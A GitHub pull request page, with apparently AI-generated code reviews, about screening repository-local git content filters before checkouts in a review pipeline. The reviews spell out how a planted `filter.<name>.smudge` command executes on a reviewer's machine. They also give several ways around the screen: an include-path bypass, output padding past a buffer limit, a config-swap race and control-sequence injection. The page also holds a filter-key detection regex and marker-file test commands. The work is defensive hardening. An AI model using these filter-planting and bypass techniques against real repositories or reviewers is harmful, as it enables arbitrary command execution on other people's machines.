fix(review): screen content filters before the probe tree's restore too (#9558) - #9741
fix(review): screen content filters before the probe tree's restore too (#9558)#9741wenshao wants to merge 22 commits into
Conversation
…oo (#9558) `scratch-tree` refuses to create or reset a tree while the repository's LOCAL config defines a content filter, because a checkout executes `filter.<name>.smudge` whenever it rewrites a file and disabling hooks does not cover that. `test-efficacy`'s per-run restore is the same checkout one directory over — it rewrites every tracked file in the probe tree, twice per probe run — and screened nothing. The screen moves to `lib/worktree.ts` so both callers share one implementation rather than one growing a corner the other lacks, which is how the `config.worktree` scoping bug got in. `filter.<name>.process` joins `smudge` and `clean`: it is the third executable key — a long-running filter git speaks a protocol to — and enumerating two of three is how the first cut read as complete. **Repo-local only, and that is the load-bearing part.** `git lfs install` writes `filter.lfs.clean` into the user's GLOBAL config, so a screen over merged config would put every contributor with git-lfs into permanent refusal — the same failure as a tripwire that fires on every healthy run, which this pipeline has already shipped once. Both halves are pinned: removing the screen turns the new test red, and widening it to merged config turns the same test red from the other side.
github-actions
Bot
added
the
review/self-reported
|
|
|
Thanks for the PR! Template looks good ✓ Problem: observed, not theoretical. Closes #9558 ( Direction: aligned. This is the next tracked item in the #9556 class of #9221 follow-ups, deliberately restored to its original single-commit size after #9566 grew around it. Internal review-pipeline hardening — no CHANGELOG surface, and the area is clearly relevant. Size: no core paths touched — all five files live in Approach: minimal and right-shaped — the existing screen moves to Risk: no elevated risk signals — none of the changed files match the revert-correlated paths. Moving on to code review. 🔍 中文说明感谢贡献！ 模板完整 ✓ 问题：已观测到，不是理论性的。关联 #9558（ 方向：对齐。这是 #9221 后续项 #9556 类别中的下一个已跟踪项，在 #9566 长胖之后刻意恢复到原始单提交尺寸。属于内部 review 流水线加固——无 CHANGELOG 面，领域明显相关。 规模：未触及核心路径——五个文件全部在 方案：最小且形态正确——既有屏蔽移入 风险：无升级风险信号——改动文件均未命中与 revert 相关的高风险路径。 进入代码审查 🔍 — Qwen Code · qwen3.8-max Reviewed at |
Code reviewThe approach matches what #9558 asks for and the independent proposal for it: extract the screen, share it between both callers, extend the key set, apply it before the restore. No blockers found — a few things verified specifically:
Not verified: nothing user-visible to drive — this is internal probe machinery (tmux N/A). The mutation table in the PR body (each half reverted alone turns its test red) is the author's claim; see the Test evidence — the PR's own CI on the reviewed commit (fetched via API; nothing run locally): Final CI results for
One row per check name (latest run); skipped checks omitted; failures sort first. / 每个检查名一行（取最新一次运行），省略 skipped，失败项排在最前。 The Linux unit suite — the PR signal for this change, and where the new tests run — is still in progress; everything else that executed is green. The macOS/Windows skips are by design ( Sandboxed verification would settle the one thing CI cannot: 中文说明代码审查方案与 #9558 的要求及其独立提案一致：抽出屏蔽、两个调用方共享、扩展键集、在恢复之前应用。未发现阻塞项——重点核实了：
未验证：没有用户可见面可供驱动——这是探针内部机制（tmux 不适用）。PR 正文中的变异表（单独还原任一半都会让测试变红）是作者陈述；见上方 测试证据——PR 自身 CI（见上方表格，经 API 获取；本地未运行任何 PR 代码）：承载新测试的 Linux 单测套件（本改动的 PR 信号）仍在运行；其余已执行的检查全绿。macOS/Windows 跳过为设计使然（ 沙箱验证可以解决 CI 解决不了的一件事： — Qwen Code · qwen3.8-max Reviewed at |
|
Confidence: 5/5 — clean across every stage; the only thing standing between this PR and approval is the Linux unit suite still running. Honest read: this is what the #9221 follow-ups were supposed to look like. #9566 grew to 13 files / +3 054 around this commit; this PR is the same commit restored to its original size — five files, one idea, and the idea is exactly what #9558 asked for. The load-bearing decision (repo-local config only, because In six months this reads as well as the code around it: one shared screen, named keys, fail-closed wiring, tests for both directions. I'd thank the author, not curse them. Approving because it's genuinely good, not because I ran out of reasons to say no — there were none. Approval is deferred until CI lands green on 中文说明置信度：5/5 —— 每个阶段都干净；唯一挡在批准前面的是仍在运行的 Linux 单测套件。 直说：这才是 #9221 后续项该有的样子。#9566 在这个提交周围长到 13 文件 / +3054 行；本 PR 把同一个提交恢复到原始尺寸——五个文件、一个想法，而想法正是 #9558 要的。承重决策（只看仓库本地配置，因为 六个月后这段代码读起来和周围代码一样好：一份共享屏蔽、点名的键、失败即拒绝的接线、两个方向的测试。维护者会感谢作者，而不是抱怨。批准是因为它真的好，而不是因为找不到拒绝的理由——本来就没有。 批准推迟到 — Qwen Code · qwen3.8-max Reviewed at |
Code Coverage Summary
CLI Package - Full Text ReportCore Package - Full Text ReportFor detailed HTML reports, please see the 'coverage-reports-22.x-ubuntu-latest' artifact from the main CI run. |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM, looks ready to ship — CI landed green after the review. ✅
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: reverse audit — stopped before round 5 by the review time budget.
Test Plan (not a blocker): 504 passed — this review observed 23134 passed.
中文说明
仅完成部分审查，审查缺口已披露。
未审查：反向审计——评审时间预算不足，未能开始第 5 轮。
Test Plan（非阻断）：504 passed — this review observed 23134 passed。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| // `filter.lfs.clean` into the user's GLOBAL config, and refusing on that | ||
| // would put every contributor with git-lfs into permanent refusal — the same | ||
| // failure as a tripwire that fires on every healthy run. | ||
| const filters = localFilterCommands(probeTree); |
There was a problem hiding this comment.
[Critical] The screen guards only restoreProbeTreeTracked's checkout. Two sibling checkouts in the same pipeline still execute a planted content filter unscreened: the probe tree's creation git worktree add --detach (~line 2541) runs before any localFilterCommands call in the run, and the revert phase's git checkout base -- <modified> (~line 2868) runs after the mutation phase even when every restore refused — the mutation-phase catch explicitly keeps going "so the revert probe below still runs".
This is the exact execution the change exists to prevent. A malicious suite uses the planting surface the moved docstring itself names — git config filter.evil.smudge CMD into the common-dir config plus one attributes line — during the baseline run; every restore correctly refuses (inconclusive, no throw); then the unscreened revert checkout rewrites every PR-modified file and executes CMD on the reviewer's machine. The persistence variant holds too: a filter planted while reviewing one PR is executed by the worktree add above during the next review, before any screen runs. Probe-verified against this commit: smudge EXECUTED during 'git worktree add --detach' and smudge EXECUTED by pathspec checkout (the revert shape). Issue #9558's Stage 2 analysis asked for the screen "once at run entry … so a single check covers the restore, the revert, and any other checkout the probe phase performs" — this PR placed it per-restore.
Suggested fix: screen once at probe-phase entry — call localFilterCommands(worktree) before discardWorktree/worktree add (~2539-2541), treating a hit like a creation failure — and re-screen before the revert checkout beside the existing probeTargetEscapes re-check; or route every pipeline checkout through one shared guarded-checkout primitive, the way runScratchTree screens before both its reset and rebuild paths. Update the doc enumeration to match whatever is actually screened.
中文说明
该屏蔽只保护了 restoreProbeTreeTracked 的 checkout。同一管线中另外两个兄弟 checkout 仍会在未经屏蔽的情况下执行被植入的内容过滤器：探针树的创建 git worktree add --detach（约 2541 行）先于本次运行中的任何 localFilterCommands 调用执行；而 revert 阶段的 git checkout base -- <modified>（约 2868 行）即使所有 restore 都已拒绝，也仍会在突变阶段之后执行——突变阶段的 catch 明确写着"继续执行，好让下面的 revert 探针仍然运行"。
这正是本改动要阻止的执行。恶意测试套件可以利用移动的文档字符串自己点名的植入面——向 common dir 配置写入 git config filter.evil.smudge CMD 外加一行 attributes——在基线运行期间完成植入；之后每次 restore 都正确拒绝（inconclusive、不抛异常）；然后未屏蔽的 revert checkout 重写 PR 修改的每个文件，在审查者机器上执行 CMD。持久化变体同样成立：审查某个 PR 时植入的过滤器会在下一次审查时被上面的 worktree add 执行，先于任何屏蔽运行。已在本提交上用探针验证：smudge EXECUTED during 'git worktree add --detach' 以及 smudge EXECUTED by pathspec checkout（revert 形态）。issue #9558 的 Stage 2 分析要求"在运行入口一次屏蔽……使单个检查覆盖 restore、revert 以及探针阶段执行的任何其他 checkout"——而本 PR 将屏蔽放在了每次 restore 上。
建议修复：在探针阶段入口屏蔽一次——在 discardWorktree/worktree add（约 2539-2541 行）之前调用 localFilterCommands(worktree)，命中时按创建失败处理——并在 revert checkout 前、现有 probeTargetEscapes 复查旁再次屏蔽；或者让所有管线 checkout 走同一个带守卫的共享 checkout 原语，如同 runScratchTree 在 reset 与 rebuild 两条路径之前都屏蔽那样。无论选哪种，请同步更新文档枚举，使其与实际屏蔽范围一致。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| // would put every contributor with git-lfs into permanent refusal — the same | ||
| // failure as a tripwire that fires on every healthy run. | ||
| const filters = localFilterCommands(probeTree); | ||
| if (filters.length > 0) { |
There was a problem hiding this comment.
[Critical] The screen is a check-then-use pair with nothing binding the two reads: localFilterCommands reads config via git subprocesses, and the checkout --force HEAD -- . it authorises — spawned milliseconds later — re-parses config at start. The suite runs via spawnSync(..., { timeout }), whose timeout signals only the direct vitest child, so a detached, unref'd grandchild spawned by test code survives the suite's end (demonstrated: the marker read SURVIVED while the parent reported SIGTERM/ETIMEDOUT). Such a writer atomically swaps <common>/config between an inert copy and an armed one; when the screen reads the inert variant and the checkout's parse lands on the armed one, the planted command executes despite the screen.
Measured against this commit with a naive tight-loop writer and the real probe-tree shape: 3 silent armed-filter executions in 117 screen-authorised restores (~2.6% per restore) — the screen passed, the checkout executed the filter, nothing reported it. A candidate fix re-screening after the checkout flipped 19/80 iterations from silent pass to refusal, but the hit still slipped past when the writer swapped back — detection alone races too. The window is attacker-favourable (more candidate reads widen it; an inotify-timed writer can time the swap), so the 2.6% is a floor, not a comfort.
Suggested fix: prevention, not detection — run the probe suite in its own process group (detached: true) and kill the whole group at the deadline, so no writer survives to a restore.
中文说明
该屏蔽是一个"先检查后使用"的对，而两次读取之间没有任何绑定：localFilterCommands 通过 git 子进程读取配置，几毫秒后它放行的 checkout --force HEAD -- . 会在启动时重新解析配置。套件通过 spawnSync(..., { timeout }) 运行，其 timeout 只通知 vitest 直接子进程——因此测试代码派生的、已分离且 unref 的孙进程能在套件结束后继续存活（已演示：父进程报告 SIGTERM/ETIMEDOUT 时，标记文件读出 SURVIVED）。这样的写者可以在 <common>/config 的惰性副本与武装副本之间原子切换；当屏蔽读到惰性变体、而 checkout 的解析命中武装变体时，被植入的命令就会绕过屏蔽执行。
已在本提交上用朴素紧循环写者、按真实探针树形态实测：117 次屏蔽放行的 restore 中出现 3 次无声的武装过滤器执行（每次约 2.6%）——屏蔽通过、checkout 执行了过滤器、无任何报告。候选修复（在 checkout 后重新屏蔽）能把 80 次迭代中的 19 次从无声放行翻转为拒绝，但当写者及时换回时命中仍可溜过——仅靠检测同样会竞态。窗口对攻击者有利（更多候选文件读取会拉大窗口，inotify 定时的写者可以精确卡点切换），2.6% 是下限而非安慰。
建议修复：预防而非检测——让探针套件运行在自己的进程组（detached: true）中，并在 deadline 时杀掉整个组，使任何写者都无法存活到 restore。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Still escalated — maintainer decision pending, no code change this round. The detached/setsid-writer residual is real and stays open: a writer that leads its own process group definitionally escapes process.kill(-r.pid), and this finding's own round-2 measurement already falsified detection-only re-screens. The residual is documented beside the kill in code and pinned from both sides by the integration suite. Closing it needs a maintainer's choice between a descendant-tree kill (not reachable from a spawnSync caller) and refusing creation checkouts while any probe with shell access is concurrently alive — this loop will not settle that call silently.
中文说明
仍处于已上报状态——等待维护者决策，本轮无代码改动。分离/setsid 写者残留真实存在且保持打开：自成进程组组长的写者按定义能逃脱 process.kill(-r.pid)，本发现第 2 轮自己的实测已证伪仅靠检测的重新屏蔽。该残留已记录在杀旁边的代码注释中，并由集成套件从两个方向钉住。关闭它需要维护者在“后代树击杀（无法从 spawnSync 调用方实现）”与“当任何拥有 shell 权限的探针并发存活时拒绝创建 checkout”之间做出选择——本循环不会擅自替维护者做出该决策。
There was a problem hiding this comment.
Still open and tracked, unchanged this round — this re-post keeps the blocker visible, as intended. The residual remains documented beside the group kill (the runner-spawn comment) and pinned from both sides by the integration suite (in-group kill test + the escape test). Closing it needs one of the two escalated closures: a descendant-tree kill (not reachable from a spawnSync caller) or refusing creation checkouts while probes with shell access are concurrently alive — the second is a behavior/scope call for a maintainer. Round 7's batch addressed the nine new Critical findings; this one stays escalated pending that decision.
中文说明
本线程仍然开放且处于跟踪状态，本轮未变——此次重发按预期保持该阻断可见。该残留仍记录在组杀旁边（运行器派生处的注释），并由集成测试从两个方向钉住（组内击杀测试 + 逃逸测试）。收口需要两种已上报方案之一：后代树击杀（从 spawnSync 调用方不可达）；或在有 shell 权限的探针并发存活时拒绝创建用 checkout——后者是行为/范围决策，需维护者定夺。第 7 轮批量处理了九个新的 Critical 发现；本条维持上报状态，等待该决策。
There was a problem hiding this comment.
Still open, deliberately — escalated for a maintainer decision and unchanged this round. The detached-writer escape is pinned from both sides by the integration suite (in-group kill green; the detached escape's marker exists by design) and documented beside the kill. The two remaining closures are maintainer calls: (1) a descendant-tree kill — not reachable from a spawnSync caller; (2) refusing creation checkouts while any probe with shell access is concurrently alive — a behavior/scope decision this loop does not make silently. No code change this round; this re-post keeps the blocker visible pending that decision.
中文说明
仍然开放，有意为之——已上报等待维护者决定，本轮未改动。detached 写者逃逸已被集成套件从两侧钉住（组内杀绿色；detached 逃逸的标记按设计存在），并在杀逻辑旁文档化。剩余两种闭合方式是维护者的决定：（1）后代树杀——从 spawnSync 调用方不可达；（2）在任何拥有 shell 权限的探针并发存活时拒绝创建 checkout——本循环不会擅自做出的行为/范围决定。本轮无代码改动；本次回复让该阻断项在决定做出前保持可见。
| // failure as a tripwire that fires on every healthy run. | ||
| const filters = localFilterCommands(probeTree); | ||
| if (filters.length > 0) { | ||
| return `the repository's local config defines content filter(s) ${filters.join(', ')}, which this tree's restore would EXECUTE`; |
There was a problem hiding this comment.
[Suggestion] The sibling caller of the same function maps every key through inertPath before interpolating (scratch-tree.ts:392); this new call site embeds them raw. Git config subsection names may contain any byte except NUL and newline, and inertPath exists (lib/paths.ts:230) precisely so a control sequence never reaches a terminal and a backtick cannot escape the markdown code span these messages render in. Verified: a planted filter.evil<ESC>[2Jx.smudge key round-trips raw through the screen's --get-regexp and lands verbatim in this refusal string (cat -v shows filter.evil^[[2Jx.smudge) — which reaches the terminal, and the report the next agent treats as authoritative. A caught attacker still controls the bytes of the key naming the catch.
| return `the repository's local config defines content filter(s) ${filters.join(', ')}, which this tree's restore would EXECUTE`; | |
| return `the repository's local config defines content filter(s) ${filters.map(inertPath).join(', ')}, which this tree's restore would EXECUTE`; |
(importing inertPath from ./lib/paths.js as scratch-tree.ts does)
中文说明
同一函数的另一个调用方在拼接前会把每个键都经过 inertPath 处理（scratch-tree.ts:392）；这个新调用点直接原样嵌入。git 配置的子小节名可以包含除 NUL 和换行外的任意字节，而 inertPath 的存在（lib/paths.ts:230）正是为了保证控制序列不会到达终端、反引号不会逃逸这些消息所渲染的 Markdown 代码块。已验证：植入的 filter.evil<ESC>[2Jx.smudge 键能原样通过屏蔽的 --get-regexp 并逐字落入该拒绝字符串（cat -v 显示 filter.evil^[[2Jx.smudge）——该字符串会到达终端，以及下一个代理视为权威的报告。攻击的命中者反而能控制命名该命中的字节串。
（修复代码见上方建议块：filters.map(inertPath).join(', ')，并像 scratch-tree.ts 一样从 ./lib/paths.js 导入 inertPath。）
— qwen3.8-max via Qwen Code /review (v0.22.0)
| 'git', | ||
| [ | ||
| 'config', | ||
| '--file', |
There was a problem hiding this comment.
[Critical] The screen reads each candidate file with git config --file, which by git's documented default does NOT expand include.path/includeIf.*.path — while the checkout the screen authorises reads merged config, which DOES. A filter planted behind an include directive is invisible to the screen and is executed by the very restore it certifies clean: a probe appends [include] path = <file> to the common config, writes [filter "evil"] smudge = CMD into the included file, plus one attributes line; the screen's command exits 1 with no match, localFilterCommands returns [], and checkout --force HEAD -- . runs CMD. Verified end-to-end against this commit: screen exit=1 stdout="" → localFilterCommands -> [] → PWNED-include exists = true after the authorised checkout; the --includes control finds the key.
The PR description documents this as a known, deliberately unfixed gap, and its reasoning is sound against the naive fix — --includes would follow an include.path into the user's global config and re-import filter.lfs.clean, reproducing the permanent-refusal failure. But the rationale answers why the fix is absent from this PR; it does not answer the harm, which survives it: an include-planted filter stays invisible while the screen reports clean, at both call sites, on every later review. Filed so the gap is tracked on the PR and not only in its description — the deferred --show-origin/origin-scoped follow-up is what closes it.
中文说明
屏蔽用 git config --file 读取每个候选文件——按 git 的文档化默认，它不展开 include.path/includeIf.*.path；而屏蔽所放行的 checkout 读取的是合并后配置，是会展开的。经由 include 指令植入的过滤器对屏蔽不可见，却会被屏蔽证明"干净"的那次 restore 执行：探针向 common 配置追加 [include] path = <file>，把 [filter "evil"] smudge = CMD 写进被包含文件，再加一行 attributes；屏蔽的命令以 1 退出、无匹配，localFilterCommands 返回 []，checkout --force HEAD -- . 执行 CMD。已在本提交上端到端验证：screen exit=1 stdout="" → localFilterCommands -> [] → checkout 之后 PWNED-include exists = true；加上 --includes 的对照能找到该键。
PR 描述已将此记录为已知且有意不修的缺口，其推理对朴素修法是成立的——--includes 会跟随 include.path 进入用户的全局配置，把 filter.lfs.clean 拖回来，复刻永久拒绝的失败。但该推理回答的是"为什么修复不在本 PR 中"，并没有回答危害本身：经由 include 植入的过滤器在屏蔽报告干净的同时保持不可见，对两个调用点、对之后每一次审查都成立。在此提出是为了让该缺口记录在 PR 上，而不仅仅在描述里——被推迟的 --show-origin/按来源限定范围的后续改动才是关闭它的方法。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred to the follow-up queue, in line with this finding's own framing. The gap is real and was reproduced here too: git config --file does not expand include.path/includeIf.*.path, so a filter planted behind an include is invisible to the screen and executed by the very restore it certifies. Closing it needs origin-scoped filtering (a merged read with --show-origin, keeping only repo-local origins); the naive --includes fix is exactly what reproduces the permanent-refusal failure on global filters like git-lfs, which is why this PR scoped it out. This round: the gap is now documented in the screen's docstring (so it lives in the code, not only in the PR description) and the finding is recorded for the deferred-findings follow-up issue. The origin-scoped fix itself lands there.
中文说明
按该发现本身的定位，推迟到后续队列处理。缺口真实存在，本轮也已复现：git config --file 不展开 include.path/includeIf.*.path，因此经由 include 植入的过滤器对屏蔽不可见，却会被屏蔽背书的 restore 执行。关闭它需要按来源限定范围的过滤（用 --show-origin 做合并读取、仅保留仓库本地来源）；朴素的 --includes 修法恰好会因 git-lfs 这类全局过滤器复刻永久拒绝的失败，这正是本 PR 将其排除在外的原因。本轮的处理：该缺口现已写入屏蔽的 docstring（让它记录在代码里，而不只存在于 PR 描述中），且该发现已登记进延迟发现后续 issue。按来源限定范围的修复本身将在后续改动中落地。
There was a problem hiding this comment.
Still open and tracked, unchanged this round — the interim fail-closed treatment stands: any include.path/includeIf.*.path directive in the screen's candidate files refuses the checkout, so a filter planted behind an include cannot EXECUTE unseen (it is refused, not certified). The remaining gap is the permanent refusal for legitimate user includes; closing it is the origin-scoped merged-read follow-up (--show-origin refusing only repo-local hits), still deferred and tracked on this PR. Round 7's batch addressed the nine new Critical findings; this re-post keeps the follow-up visible.
中文说明
本线程仍然开放且处于跟踪状态，本轮未变——过渡期的失败关闭处理保持不变：屏蔽候选文件中的任何 include.path/includeIf.*.path 指令都会拒绝该 checkout，因此藏在 include 后面的过滤器不可能在不可见的情况下执行（会被拒绝而非放行）。剩余缺口是对用户合法 include 的永久拒绝；收口方案是按来源限定的合并读取后续改动（用 --show-origin 只拒绝仓库本地命中），该后续仍被推迟并挂在本 PR 上跟踪。第 7 轮批量处理了九个新的 Critical 发现；此次重发保持该后续事项可见。
| ], | ||
| { cwd: worktree, encoding: 'utf8', env: sanitizedGitEnv() }, | ||
| ); | ||
| if (r.error || r.status !== 0 || typeof r.stdout !== 'string') continue; |
There was a problem hiding this comment.
[Critical] The screen fails OPEN when a candidate config's --get-regexp output exceeds spawnSync's default 1 MiB maxBuffer: spawnSync returns error: ENOBUFS / status: null, and the continue here silently skips the whole file — localFilterCommands returns [] and the checkout the screen authorises executes the planted filter. The spawn above passes no maxBuffer, while adjacent spawns in these same files (trackedIgnoreSources, and the skip-worktree ls-files read inside restoreProbeTreeTracked) already use 64 * 1024 * 1024.
Verified end-to-end against this commit: the threat-model write the docstring names, padded with ~48k [filter "padN"] smudge = x sections (~1.4 MB) beside filter.evil.smudge = CMD — ground truth at a 64 MiB buffer reads 2,352,055 bytes with status 0, the function's exact spawn shape returns ENOBUFS, the screen returns [], and the authorised restore's checkout created the PWNED marker. With maxBuffer: 64 * 1024 * 1024 patched in, the same attack returns 48,001 keys and both call sites refuse. Padding is one larger write to the same common-dir file the docstring already documents, and the common dir is never wiped — the defeat persists across later reviews at both call sites.
Suggested fix: pass maxBuffer: 64 * 1024 * 1024 on the config spawn, and consider treating an errored read of an EXISTING candidate file as refusal rather than continue (distinguishing r.error from status === 1, which legitimately means "no keys matched") — a screen that could not read a file cannot certify the checkout it guards.
中文说明
当某个候选配置的 --get-regexp 输出超过 spawnSync 默认的 1 MiB maxBuffer 时，该屏蔽会失败放行：spawnSync 返回 error: ENOBUFS / status: null，此处的 continue 会静默跳过整个文件——localFilterCommands 返回 []，屏蔽放行的 checkout 就会执行被植入的过滤器。上面的 spawn 没有传 maxBuffer，而同样的这些文件中相邻的 spawn（trackedIgnoreSources，以及 restoreProbeTreeTracked 内部读 skip-worktree 的 ls-files）已经使用了 64 * 1024 * 1024。
已在本提交上端到端验证：按文档字符串所述的威胁模型写入，再在 filter.evil.smudge = CMD 旁填充约 48k 个 [filter "padN"] smudge = x 小节（约 1.4 MB）——用 64 MiB 缓冲读取的基准真值：状态 0、2,352,055 字节；而函数完全相同的 spawn 形态返回 ENOBUFS，屏蔽返回 []，被放行 restore 的 checkout 创建了 PWNED 标记。打上 maxBuffer: 64 * 1024 * 1024 补丁后，同样的攻击返回 48,001 个键，两个调用点均拒绝。填充只是对文档字符串已经记载的同一 common-dir 文件的一次更大写入，且 common dir 从不被清理——因此该失效对两个调用点在之后的审查中持续成立。
建议修复：为配置 spawn 传入 maxBuffer: 64 * 1024 * 1024；并考虑把"对已存在的候选文件读取出错"当作拒绝而非 continue（区分 r.error 与 status === 1，后者是合法的"没有匹配键"）——一个读不了文件的屏蔽不能为它所守卫的 checkout 背书。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| ); | ||
| if (r.error || r.status !== 0 || typeof r.stdout !== 'string') continue; | ||
| for (const line of r.stdout.split('\n')) { | ||
| const key = line.split(/\s+/)[0]; |
There was a problem hiding this comment.
[Suggestion] The scan deliberately covers every <common>/worktrees/*/config.worktree besides the repo-local config, but both refusal messages enumerate keys only. With extensions.worktreeConfig enabled, a filter living only in a sibling worktree's config.worktree (planted there, or set deliberately for another branch) produces a permanent refusal whose message points at nothing the oncall's first move — git config --local --get-regexp '^filter\.' in the review worktree — can see, and nothing in it directs anyone to <common>/worktrees/. The existing test at scratch-tree.test.ts:125-159 proves exactly that state produces a refusal. Track the defining file alongside each key and include it in both refusal messages, so the refusal is diagnosable without hand-searching every worktree config file.
中文说明
扫描刻意覆盖了仓库本地配置之外的每一个 <common>/worktrees/*/config.worktree，但两处拒绝消息都只列举键名。在启用 extensions.worktreeConfig 时，只存在于某个兄弟 worktree 的 config.worktree 中的过滤器（被植入那里，或故意为另一个分支设置）会造成永久拒绝，而运维者的第一反应——在审查 worktree 里执行 git config --local --get-regexp '^filter\.'——什么也查不到，消息中也没有任何内容指向 <common>/worktrees/。scratch-tree.test.ts:125-159 的现有测试恰好证明了该状态会产生拒绝。建议把定义文件与每个键一并追踪，并写入两处拒绝消息，使该拒绝无需手工翻遍每个 worktree 配置文件即可诊断。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| ['a.test.ts'], | ||
| ); | ||
|
|
||
| expect(r.verdict).toBe('inconclusive'); |
There was a problem hiding this comment.
[Suggestion] This test plants only the config key — never the attributes line that arms the filter — and asserts only the refusal message, so the property the screen exists for (the filter command never executes) is never asserted. The named one-line mutation survives: move the screen block below the checkout/clean spawns and every assertion stays green (verified: passes 133/133), while on the real input — config write plus one attributes line, exactly what the docstring describes — the mutant's restore checkout executes the planted smudge before refusing. Deleting the screen entirely does turn the test red, so the test pins the screen's presence but not its position. Also, /tmp/qwen-should-never-run is a hardcoded shared path: one buggy run would create it and fail every later run even with correct code.
Suggested fix: arm the filter in the fixture — write * filter=evil to $(git rev-parse --git-path info/attributes), point the smudge at a unique path inside the temp dir, and add expect(existsSync(<that path>)).toBe(false) after the refusal assertions.
中文说明
该测试只植入了配置键，从未植入武装过滤器的 attributes 行，并且只断言拒绝消息——因此屏蔽存在的目的（过滤器命令绝不执行）从未被断言。点名一个单行突变即可存活：把屏蔽块移到 checkout/clean spawn 之下，所有断言仍然全绿（已验证：133/133 通过）；而在真实输入——配置写入加一行 attributes，正是 docstring 描述的情形——下，mutant 的 restore checkout 会在拒绝之前执行被植入的 smudge。整体删除屏蔽确实会让测试变红，所以该测试钉住了屏蔽的存在，但没有钉住它的位置。另外，/tmp/qwen-should-never-run 是硬编码的共享路径：一次有问题的运行就会创建它，之后即使代码正确也会在每次运行中失败。
建议修复：在夹具中武装过滤器——向 $(git rev-parse --git-path info/attributes) 写入 * filter=evil，把 smudge 指向临时目录内的唯一路径，并在拒绝断言之后加上 expect(existsSync(<该路径>)).toBe(false)。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| // a protocol to — and enumerating `smudge`/`clean` and stopping is how the | ||
| // first cut of this screen read as complete. | ||
| git(worktree, 'config', '--unset', 'filter.evil.smudge'); | ||
| git(worktree, 'config', 'filter.evil.process', `touch ${pwned}`); |
There was a problem hiding this comment.
[Suggestion] No test pins the clean alternative of '^filter\\..*\\.(smudge|clean|process)$': the local-filter tests only ever plant smudge and process keys, and the only clean key in any test is the global filter.lfs.clean, which the screen deliberately never reads. Verified by mutation: dropping clean from the regex passes the entire suite 174/174 — a repo-local filter.evil.clean would pass the screen at both call sites with CI green; the flip control (dropping the pinned process instead) fails, so the harness is live. That is exactly the "enumerate two of three is how the first cut of this screen read as complete" shape the diff's own comment warns about, one token over.
Suggested fix: add a third phase planting filter.evil.clean (same shape as the process phase: expect available: false and the note to contain filter.evil.clean), or parametrize the phase over ['smudge', 'clean', 'process'].
中文说明
没有任何测试钉住 '^filter\\..*\\.(smudge|clean|process)$' 中的 clean 分支：本地过滤器测试只植入过 smudge 和 process 键，而任何测试中唯一的 clean 键是全局的 filter.lfs.clean，屏蔽刻意不读取它。突变验证：把 clean 从正则中删掉后整个套件 174/174 通过——仓库本地的 filter.evil.clean 将在两个调用点都通过屏蔽而 CI 保持绿色；反向对照（改删已被钉住的 process）会失败，说明测试装置是活的。这正是 diff 自身注释警告的"枚举三个中的两个，使这版屏蔽的第一刀看起来完整"的形态，只差一个词元。
建议修复：增加第三个阶段植入 filter.evil.clean（与 process 阶段同形：期望 available: false 且提示包含 filter.evil.clean），或对 ['smudge', 'clean', 'process'] 参数化。
— qwen3.8-max via Qwen Code /review (v0.22.0)
|
@qwen-code /takeover |
qwen-code-dev-bot
added
the
autofix/takeover
|
🤝 Takeover engaged: the autofix loop now manages this PR — it will address new review feedback and resolve base conflicts until the label is removed or the round cap is reached. Remove the 中文说明🤝 已接管：autofix 循环现在管理此 PR —— 将持续处理新的评审反馈与 base 冲突，直到移除标签或达到轮次上限。移除 |
|
🤖 AutoFix ran out of time before finishing (timeout (1080000ms)) (attempt 1/100) — it will retry on the next scan.
See the Qwen Autofix agent step logs for model/tool output. 中文说明🤖 AutoFix 在完成前耗尽了时间（timeout (1080000ms)）（第 1/100 次尝试）—— 将在下次扫描时重试。 Run log: https://github.com/QwenLM/qwen-code/actions/runs/32590065854 🧠 Handled by Qwen Code · model/模型 |
…able filter config (#9741)
|
🤖 Addressed the latest review feedback (round 2/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 2/100 轮）。改动内容与我反驳保留之处如下： Round 2 summary — PR #9741 review feedbackThe previous round exhausted its time budget before committing anything, so this round implemented the smallest blocking subset in one verified commit: all four Critical findings plus the four cheap Suggestions. One Critical (the Commit: Feedback points and decisions
What changed
Mutation probes (each guard removed → witness test FAILS → guard restored → green)
Verification
中文说明第 2 轮总结 — PR #9741 审查反馈上一轮在提交任何内容之前就用尽了时间预算，因此本轮用一个已验证的提交实现了最小阻断子集：全部四个 Critical 发现，外加四个低成本 Suggestion。其中一个 Critical（ 提交： 反馈点与决定
改动内容
突变探针（移除每个守卫 → 见证测试失败 → 恢复守卫 → 变绿）
验证
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and the Windows behaviour of the changed code did not run locally (Linux runner).
Test Plan (not a blocker): 504 passed — this review observed 23139 passed.
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and the Windows behaviour of the changed code did not run locally (Linux runner)。
Test Plan（非阻断）：504 passed — this review observed 23139 passed。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| ).toContain('content filter'); | ||
| }); | ||
|
|
||
| it('kills the suite’s whole process group — no survivor outlives a run', async () => { |
There was a problem hiding this comment.
